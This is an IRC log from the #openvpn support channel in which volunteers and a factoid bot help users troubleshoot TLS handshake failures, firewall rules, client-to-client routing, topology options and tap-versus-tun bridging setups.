04:18 -!- mode/#openvpn [+o raidz] by ChanServ
04:29 -!- marisn [~marisn@81.198.6.88] has quit [Quit: Konversation terminated!]
04:31 -!- catsup [~d@64.111.123.163] has quit [Remote host closed the connection]
04:41 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
05:11 -!- JSharpe [~JSharpe@46.165.210.17] has joined #openvpn
05:23 -!- Ancient [~ancient@108.59.1.200] has joined #openvpn
05:24 < Ancient> !goal
05:24 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
05:24 < Ancient> =j ##opeszps
05:26 < Ancient> Can anyone direct me to the bug tracker for the "official" iOS & Android clients?
05:27 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has left #openvpn []
05:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:45 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
06:00 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
06:02 <@plaisthos> Ancient: is there no link etc. in the apps?
06:13 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-otyxzvbrmvapfvtz] has joined #openvpn
06:15 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
06:15 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
06:15 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
06:46 < Ancient> plaisthos, I don't have a device capable of running either unfortunately, however I happen to be on the server end of things
06:46 < Ancient> and I have a bug to file accordingly
06:46 < Ancient> So unfortunately, I'm not sure
06:47 < Ancient> I went through the openvpn website, and couldn't find anything either
06:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
06:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:57 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
07:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
07:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:55 -!- JSharpe [~JSharpe@46.165.210.17] has quit [Quit: Leaving]
08:00 -!- mintux [~mrg@unaffiliated/mintux] has joined #openvpn
08:01 < mintux> i installed openvpn on my debian server and in ubuntu client i could not connect i got this error in client: TLS Error: Unroutable control packet received from [AF_INET]192.168.1.12:1194 (si=3 op=P_CONTROL_V1)  and in server log i have: TLS Error: TLS handshake failed . TLS Error: TLS key negotiation failed to occur within 60 seconds
08:03 < mintux> it's my server and client config http://codepad.org/Kuc6ma44
08:03 <@vpnHelper> Title: C code - 35 lines - codepad (at codepad.org)
08:29 -!- sanfran [~sanfran@108-61-59-19ch.openskytelcom.net] has joined #openvpn
08:38 < mintux> now i got this error: UDPv4 [ECONNREFUSED]: Connection refused (code=111) on server and output of iptables -L -n -v is : http://codepad.org/ab1iNI6k
08:38 <@vpnHelper> Title: C code - 10 lines - codepad (at codepad.org)
08:38 < mintux> are there body here?
09:16 -!- sanfran [~sanfran@108-61-59-19ch.openskytelcom.net] has quit [Ping timeout: 250 seconds]
09:29 <@ecrist> mintux: that looks like a firewall issue
09:37 < mintux> ecrist: i put every details here https://forums.openvpn.net/topic12399.html
09:37 <@vpnHelper> Title: OpenVPN Support Forum [ECONNREFUSED]: Connection refused (code=111) : Configuration (at forums.openvpn.net)
09:38 <@ecrist> mintux: I don't generally diagnose firewall issues
09:38 <@ecrist> we don't, as a policy in this channel
09:38 <@ecrist> code 111 is almost always caused by a firewall.  you need to allow openvpn traffic
09:38 <@EugeneKay> I charge $150/hr for it
09:39 -!- mode/#openvpn [-o EugeneKay] by ecrist
09:39 <@ecrist> now he's half-price
09:39 <@ecrist> :P
09:39 < mintux> ecrist: i did it on iptables
09:39  * EugeneKay cries
09:39 -!- mode/#openvpn [+o EugeneKay] by ChanServ
09:41 < mintux> ecrist: # iptables -L -n
09:41 < mintux> ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0           udp dpt:1194
09:41 <@EugeneKay> The fact that you're seeing refused on the SERVER means that you have bad rules on the CLIENT.
09:42 <@EugeneKay> The server is getting the initial packet just fine; the response is being refused
09:43 < mintux> EugeneKay: it's my config http://codepad.org/yKmkjslJ and output
09:43 <@vpnHelper> Title: C code - 79 lines - codepad (at codepad.org)
09:43 <@EugeneKay> I really don't care enough to read through it to find the problem
09:43 <@EugeneKay> I have bacon coming soon ^_^
09:44 <@ecrist> !firewall
09:44 <@vpnHelper> "firewall" is (#1) please see http://openvpn.net/man#lbBD for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets.
09:44 <@EugeneKay> I'd say sorry, but I'm never apologetic about bacon.
09:47 < mintux> ecrist: i disabled firewall likes everything wrote in http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall and not different in output
09:47 <@vpnHelper> Title: OpenVPN/Firewall - Secure Computing Wiki (at www.secure-computing.net)
09:47 <@ecrist> on client AND server?
09:48 < mintux> only on server
09:48 <@ecrist> EugeneKay just told you to do it on your client, as well
09:48 < mintux> i will do it on client also
09:50 < mintux> ecrist: not different same result :-(
09:50 <@EugeneKay> Mmmmmm bacon
09:50 < mintux> TLS Error: Unroutable control packet received from
09:52  * ecrist poofs for the auto show
10:01 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
10:22 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
10:24 -!- mintux [~mrg@unaffiliated/mintux] has left #openvpn []
10:39 -!- mezgani [~mezgani@41.140.174.185] has joined #openvpn
10:42 -!- p3rror [~mezgani@41.140.216.173] has quit [Ping timeout: 245 seconds]
11:13 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:08 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
12:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
12:11 -!- JSharpe [~JSharpe@46.165.221.13] has joined #openvpn
12:22 -!- erry [erry@freenode/staff/erry] has quit [Changing host]
12:22 -!- erry [erry@happy/birthday/erry] has joined #openvpn
12:22 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
12:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:31 -!- novaflash is now known as novaflash_away
12:36 -!- novaflash_away is now known as novaflash
12:41 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:43 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
12:46 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 276 seconds]
12:50 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
13:00 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
13:02 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
13:17 -!- master_of_master [~master_of@p4FF24F4B.dip.t-dialin.net] has joined #openvpn
13:18 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
13:20 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
13:20 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
13:20 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
13:21 -!- master_o1_master [~master_of@p4FF24A96.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
13:22 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
13:22 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
13:29 -!- p3rror [~mezgani@41.248.148.226] has joined #openvpn
13:31 -!- mezgani [~mezgani@41.140.174.185] has quit [Ping timeout: 248 seconds]
13:43 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 260 seconds]
13:46 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
14:09 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:10 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has joined #openvpn
14:19 < syn4pse-> what is the best way to disable communication between vpn  clients?
14:20 < pekster> syn4pse-: Don't use the client-to-client directive and firewall the traffic as usual for your OS
14:20 < pekster> !c2c
14:20 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things
14:20 <@vpnHelper> behind other clients
14:21 < syn4pse-> okey so basically disable client-to-client in config and then use iptables to restrict talk between those clients?
14:22 < pekster> Right
14:23 < pekster> It'll show up as forwarded traffic, so if you use a Linux-based OS, set up whatever rules you require on the FORWARD chain to suit your needs
14:24 < syn4pse-> iptables -A FORWARD -d 10.8.0.0/24 -j DROP
14:24 < syn4pse-> if 10.8.0.0 where my vpn subnet?
14:25 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
14:26 < pekster> Possibly, I don't know enough about your setup to say. That will match traffic being forwarded from some other network to VPN clients too, such as return traffic from a server-side LAN or gateway redirect situation
14:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:27 < syn4pse-> i have a vps and i have openvpn setup there, it should only forward traffic from the openvpn clients to the internet ( anon browsing basically )
14:27 < syn4pse-> there are no further lans attached to the vpn server
14:28 < syn4pse-> pekster, would that rule mean that traffic returning to the clients will be dropped aswell ?
14:28 < syn4pse-> iptables -A FORWARD -d 10.8.0.0/24 -s 10.8.0.0/24 -j DROP
14:28 < syn4pse-> might it be smarter to also specify the source ?
14:29 < pekster> Probably, if your goal is to prevent the clients from communicating
14:29 < syn4pse-> i ll give it a try ;)
14:30 < pekster> IMO a smarter way to do that would be to use a DROP policy on your FILTER chain, and allow only traffic you wish to forward, but that's more of a topic for #netfilter which focuses on Linux/netfilter setup
14:30 < pekster> Then you don't need to "block" anything, you simply don't write a rule to accept it
14:36 < syn4pse-> okey i tried it doesn`t seem to work
14:37 < syn4pse-> i ll prolly start by reading the man page of iptables ;)
14:37 < syn4pse-> thanks for the idea
14:38 < pekster> There are some good guides linked from the first URL you'll find in the #netfilter /TOPIC if you need a more basic guide. The frozentux guide is one I've referenced/used in the past
14:39 < syn4pse-> cool
14:43 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:51 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:03 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:03 -!- mode/#openvpn [+v s7r] by ChanServ
15:17 -!- Devastator [~devas@186.214.110.30] has quit [Read error: Connection reset by peer]
15:18 -!- Devastator [~devas@186.214.110.30] has joined #openvpn
15:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:32 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:36 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
15:38 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
15:56 -!- Devastator [~devas@186.214.110.30] has quit [Changing host]
15:56 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
16:13 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
16:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
16:45 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:49 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
16:59 -!- antiisolo [solo@gateway/shell/anapnea.net/x-doayfdtntkosijyu] has left #openvpn []
17:01 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
17:13 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
17:13 < sqwerty> !paste
17:13 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
17:13 < sqwerty> !configs
17:13 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
17:18 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
17:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:27 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 245 seconds]
17:27 -!- sqwerty [~sqwerty@cpc3-aztw22-2-0-cust516.aztw.cable.virginmedia.com] has joined #openvpn
17:27 -!- sqwerty [~sqwerty@cpc3-aztw22-2-0-cust516.aztw.cable.virginmedia.com] has quit [Changing host]
17:27 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
17:35 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Quit: Leaving]
17:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
17:37 -!- JSharpe [~JSharpe@46.165.221.13] has quit [Quit: Leaving]
17:45 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has left #openvpn []
17:53 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
17:53 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 264 seconds]
17:53 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
18:01 -!- TMcTrain [~kvirc@p54BBB9D2.dip.t-dialin.net] has quit [Read error: Connection reset by peer]
18:01 -!- TMcTrain [~kvirc@p54BBB9D2.dip.t-dialin.net] has joined #openvpn
18:35 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:35 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:40 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:07 -!- syn4pse [~syn@p5DDC073B.dip0.t-ipconnect.de] has joined #openvpn
19:08 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 246 seconds]
19:10 -!- JacquesBH [~jacques@unaffiliated/jacquesbh] has joined #openvpn
19:10 < JacquesBH> Hi :)
19:10 < JacquesBH> Somebody here?
19:10 < JacquesBH> I don't know what time is it in your part of the world :D
19:10 < pekster> !ask
19:10 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
19:11 -!- syn4pse- [~syn@p5DDC041D.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds]
19:12 < JacquesBH> hello pekster :) oki sorry, I ask.
19:12 < JacquesBH> I can connect two computers to the VPN and I can ping the server
19:13 < JacquesBH> but from C1 (computer One) I can't ping C2 (computer 2)
19:13 < pekster> !c2c
19:13 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things
19:13 <@vpnHelper> behind other clients
19:13 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
19:13 < JacquesBH> hum... I'm not sure to understand.
19:14 < pekster> Either use that option, or fix your firewalls. You might also have an issue with pushed routes if you are not pushing the route for the VPN range in the 'net30' or 'p2p' topology modes (see the !topology bot output for more info)
19:14 < JacquesBH> !topology
19:14 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
19:16 < JacquesBH> pekster: it seems that if I want ping client from client I need to use the p2p topology, right?
19:16 < JacquesBH> actually I think it's default... I check.
19:16 < pekster> net30 is the default topology, unless you specified otherwise
19:16 < pekster> Use of subnet topology is recommended unless you have exotic needs
19:18 < JacquesBH> ok
19:19 < pekster> Ah, I need to correct myself; using net30 or p2p topology will push the subnet only if you use the client-to-client option
19:19 < pekster> So, if you prefer to push the packets to your kernel and let your OS firewall deal with them, you must push the VPN route yourself. Otherwise, use that option and the route will be pushed for you (when you use the --server helper-directive, that is. See that option in the manpage for specifics)
19:21 < JacquesBH> I use openvpn on debian, so it's a simple install... I'm not really familiarized
19:22 < pekster> If you don't have the need to firewall client to client packets with custom rules, just use the --client-to-client option and it should all magically work
19:23 < pekster> That effectively what the !c2c output above reads
19:25 -!- p3rror [~mezgani@41.248.148.226] has quit [Ping timeout: 248 seconds]
19:25 < JacquesBH> the --client-to-client is translated with what in the server config file?
19:25 < pekster> "translated" ?
19:25 < pekster> !--
19:25 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
19:25 < JacquesBH> hummm
19:26 < pekster> See also the first couple of pages in the openvpn manpage that explains this behaviour
19:26 < JacquesBH> so just "client-to-client" :)
19:26 < pekster> Right. Optionally you may keep the dashes if you'd like
19:26 < JacquesBH> Is the options "topology subnet" and "client-to-client" compatible? I'll try
19:26 < pekster> Yup
19:27 < JacquesBH> It works. <3
19:28 < JacquesBH> mega coooooool
19:29 < JacquesBH> thks pekster :)
19:29 < syn4pse> pekster, restarted from scratch, now all working smoothly and traffic is restricted like i wanted to
19:29 < syn4pse> thanks for help ;)
19:29 < JacquesBH> this chan is very helpfull.
19:41 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
19:44 -!- Netsplit *.net <-> *.split quits: Shadowized, GabrieleV, digilink, kmmndr
19:51 -!- kmmndr [~tomtom@bro67-2-82-227-110-8.fbx.proxad.net] has joined #openvpn
19:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:01 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
20:05 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Ping timeout: 264 seconds]
20:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
20:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:28 -!- JackWinter1 [~jack@ppp-256.vo.lu] has quit [Ping timeout: 255 seconds]
21:00 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:30 -!- p3rror [~mezgani@41.248.148.226] has joined #openvpn
21:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
22:01 -!- p3rror [~mezgani@41.248.148.226] has quit [Ping timeout: 248 seconds]
22:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:54 -!- p3rror [~mezgani@41.248.148.226] has joined #openvpn
23:54 < p3rror> hello
23:54 < p3rror> please why I have this error :
23:54 < p3rror> TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
23:54 < p3rror> TLS Error: TLS handshake failed
23:55 < pekster> Usually a network or firewall problem, or possibly caused if your peer rejects your certificate
23:55 < pekster> Can you check the logs on the other end?
23:58 < p3rror> oups
23:58 < p3rror> I have to activate log on the server
23:58 < p3rror> how to do that
23:59 < p3rror> in the server.conf
23:59 < p3rror> which directive I have to add to append log
23:59 < pekster> !log
23:59 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
23:59 < pekster> !factoids search log
23:59 <@vpnHelper> 'logs', 'log', 'logfile', 'change-log', 'irclogs', 'topology', 'blog', and 'changelog'
23:59 < pekster> ...
23:59 < pekster> Dumb bot
23:59 < pekster> !factoids whatis log
23:59 <@vpnHelper> "log" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging
--- Day changed Mon Mar 11 2013
00:00 < p3rror> OK
00:00 < pekster> --log-append is like log but appends
00:03 < p3rror> pekster, yes
00:04 < p3rror> pekster, all I have is that http://paste.debian.net/240892/
00:05 < p3rror> and I still getting the TLS Error: TLS handshake failed in the client
00:08 < pekster> p3rror: You've let the client attempt to connect and the server has no extra lines in the logfile?
00:08 < p3rror> no
00:08 < p3rror> only that
00:08 -!- NNAEMEKA [~chatzilla@41.206.15.49.vgccl.net] has joined #openvpn
00:09 < pekster> Then it would appear your client isn't successfully reaching your server. Either you have the wrong IP/port in the client config, or something is preventing the traffic from being delivered
00:09 < pekster> Firewalls are a common place to start looking for issues
00:12 < p3rror> pekster, OK
00:14 < NNAEMEKA> help
00:16 -!- eHAPPY [~V1CE@ip174-73-3-95.no.no.cox.net] has quit [Read error: Connection reset by peer]
00:21 < NNAEMEKA> !factoids
00:21 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
00:22 < NNAEMEKA> iman
00:23 < NNAEMEKA> !man
00:23 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
00:24 -!- p3rror [~mezgani@41.248.148.226] has quit [Quit: Leaving]
00:33 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
00:37 -!- NNAEMEKA [~chatzilla@41.206.15.49.vgccl.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0/20130307075451]]
00:49 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has joined #openvpn
00:50 -!- Orbi [~opera@anon-148-191.vpn.ipredator.se] has left #openvpn []
01:05 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
01:13 -!- p3rror [~mezgani@41.248.148.226] has joined #openvpn
01:24 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Quit: nonotza]
01:24 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
01:29 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
02:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:25 -!- Shadowized [~Shadowize@84.201.4.120] has joined #openvpn
02:25 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
02:40 -!- TMcTrain [~kvirc@p54BBB9D2.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
03:04 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
03:11 -!- corretico [~luis@190.211.93.38] has joined #openvpn
03:11 -!- brute11k [~brute@89.249.235.169] has joined #openvpn
03:12 -!- krzee [ba0740c2@openvpn/community/support/krzee] has joined #openvpn
03:12 -!- mode/#openvpn [+o krzee] by ChanServ
03:15 <@krzee> !ping
03:15 <@vpnHelper> pong
03:15 <@krzee> http://pastebin.com/iWcgFaD1   i cant figure out why this client-connect script is failing
03:16 <@krzee> WARNING: Failed running command (--client-connect): external program exited with error status: 1
03:17 <@krzee> pekster: still awake?
03:20 <@krzee> or maybe EugeneKay? =]
03:23 < pekster> krzee: The test doesn't match, so exit returns the implicit '1' error code from that. You should exit your scripts with an explicit success code in such cases, and good practice suggests you do so anyways to avoid such surprises
03:24 <@krzee> meh i see, thanks =]
03:24 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
03:24 < jzaw> morning peeps
03:25 <@krzee> car got stolen last night, and my drunk ass forgot my laptop and a phone in it
03:25 <@krzee> if the phone gets on the internet, this will run and send me the IP
03:25 < jzaw> can one use statements like        up ip route add blah blah          ... in ovpn?
03:25 < jzaw> and does one then use a       down ip route del     ?
03:26 <@krzee> !script
03:26 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
03:26 < jzaw> ta
03:26 <@krzee> you can run any commands in a script
03:26 <@krzee> but theres also --route
03:26 < pekster> Also note jzaw that if you just want control of routes when the VPN comes up and down, the --route command works great, and can be pushed from the server, even in a dynamic sense
03:27 < pekster> The server can push them to clients in ccd files or a --client-connect script if you require per client or dynamic control
03:27 < jzaw> its the route on the server i was wanting to control
03:27 < jzaw> im getting tap0 with ip and routes (and ipv6) on the client
03:28 < jzaw> but of course im remote to the server and cant get into it cos its down the tap0 ... which isnt yet passing my traffic (though logs show lots of exchange and chatter)
03:29 < jzaw> so i cant see exactly whats happening at that end
03:29 < pekster> In a tap setup you do not need to add a route for the VPN network as that is an on-link route
03:30 < jzaw> hmmm but the client gets routes (for itself) down the tap?
03:30 < pekster> It's a IP/mask configuration, just like your Ethernet card
03:31 < pekster> if you do 'ip addr add 10.8.0.1/24' on an adapter, you get the entire /24 route on-link
03:31 < pekster> tun is different; that's a virtual point-to-point link with no on-link routes since it's just the two "points" on the link
03:31 < jzaw> so when i do ip route show on client i can see how the pkts should go
03:32 < jzaw> should i see similar on the server?
03:32 < pekster> My guess is that you messed up the bridge setup if you've lost access with the server. Judging by your reference to the 'ip' command, I assume you're on Linux, where the bridge holds the address, not the bridge members
03:32 < jzaw> ie before the tap comes up ... on the client i dont see routes down the tap
03:32 < jzaw> well this is the problm
03:32 < pekster> What do you mean on the client you "don't see routes down the tap" ?
03:32 < jzaw> im seeing ip's on the br and the tap
03:33 < jzaw> before tap comes up
03:33 < jzaw> 169.254.0.0/16 dev br0  scope link  metric 1000
03:33 < jzaw> 192.168.0.0/24 dev br0  proto kernel  scope link  src 192.168.0.5
03:33 -!- p3rror [~mezgani@41.248.148.226] has quit [Ping timeout: 276 seconds]
03:33 < jzaw> when it comes up
03:33 < jzaw> 81.2.122.192/26 via 81.2.122.209 dev tap0
03:33 < jzaw> 81.2.122.208/29 dev tap0  proto kernel  scope link  src 81.2.122.210
03:33 <@krzee> pekster: same error, ill paste here cause its only 3 lines
03:33 <@krzee> #!/bin/bash  [[ ${common_name} == "jeff-cell" ]] && /bin/env | /bin/mail -s "login from 5150" jeff@doeshosting.com exit
03:33 < jzaw> two new extra ones
03:34 <@krzee> oops webchat flattens it
03:34 <@krzee> ill pastebin after-all
03:34 < jzaw> when the tap gets taken down .... the 81.xxxxx routes go away
03:34 < pekster> krzee: Right. Your test returns '1' (ie: false, no match.) exit has no argument, and thus returns the value of the last exit status (1). This is non-zero, and openvpn treats it as an auth failure
03:35 < pekster> "exit 0" is how you explicitly exit with a 0 status
03:35 < pekster> Same is true of the 'return' builtin in *sh shells
03:35 <@krzee> oh hah
03:35 < pekster> s/exit status/command stat/s
03:35 <@krzee> i thought exit always meant 0
03:35 <@krzee> when no arg
03:35 < pekster> Nope
03:35 <@krzee> thx again =]
03:37 < pekster> jzaw: The tap device is getting assigned an IP then. If it's bridged to something on either end, you should stop trying to push an address to it through openvpn and put it on the bridge yourself, or let the OS's DHCP mechanism do it
03:37 < pekster> I'm not exactly sure what you're trying to accomplish by sending an IP to a tap device bridged to an adapter on your client side anyway. That's not going to do what you want
03:37 <@krzee> pekster++
03:37 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:38 < pekster> If you really know what you're doing when you bridge tap0 to br0 on the client end, stop trying to push an address to tap0 from the server. Manage it on the bridge interface
03:40 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
03:40 < jzaw> at the server im using .... local 81.2.122.221     and   server 81.2.122.208 255.255.255.248
03:40 < pekster> --server-bridge? --server is not valid in a tap context
03:40 < jzaw> the tap at the client end comes up with that ip .. not the bridge which seem to keep its 192.168.0.5 addy
03:41 < jzaw> ahhhhh
03:41 < pekster> tap is for Ethernet (OSI Layer2) connectivity, and functions like an Ethernet switch does
03:41 < pekster> tun is what you want unless you actually need to exchange Ethernet frames
03:42 < jzaw> i do want the latter .. ie i want to have my RA on the server end give me ipv6 at client end
03:42 < pekster> Then you don't want a bridge at all on the client
03:43 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Ping timeout: 248 seconds]
03:43 < jzaw> im totally confused then ... every howto seems to use tap + bridge     both server and client end
03:44 < pekster> You do not want a bridge at all on the client unless you intend to join the *client* LAN to the server's remote LAN
03:44 < pekster> And that's generally a very bad idea
03:45 < pekster> You really shouldn't do that. If you want to expose remote IPv6 access to a remote LAN like that, set up IPv6 on the remote LAN with your own radvd and route to your remote server via a VPN link
03:45 < jzaw> i do want my client lan devices to route some (most) traffic down the vpn
03:45 <@krzee> so why bridge at all?
03:45 < pekster> Okay, if you want to route traffic, you want a routed (tun) setup
03:45 < pekster> Yea, no bridging needed
03:46 < jzaw> fair enough
03:46 <@krzee> this will be easiest on a router running openvpn on the client sid
03:46 <@krzee> side*
03:47 < jzaw> so tun + routing?
03:47 < pekster> IPv6 is fine, just assign a /64 there if you want to use SLAAC and route it across the link like any other traffic. Give both ends a v4 and v6 address on the VPN, and set up routing as you would normally for a gateway
03:47 <@krzee> then you can redirect on the router, and all lan redirects too
03:47 <@krzee> !sample
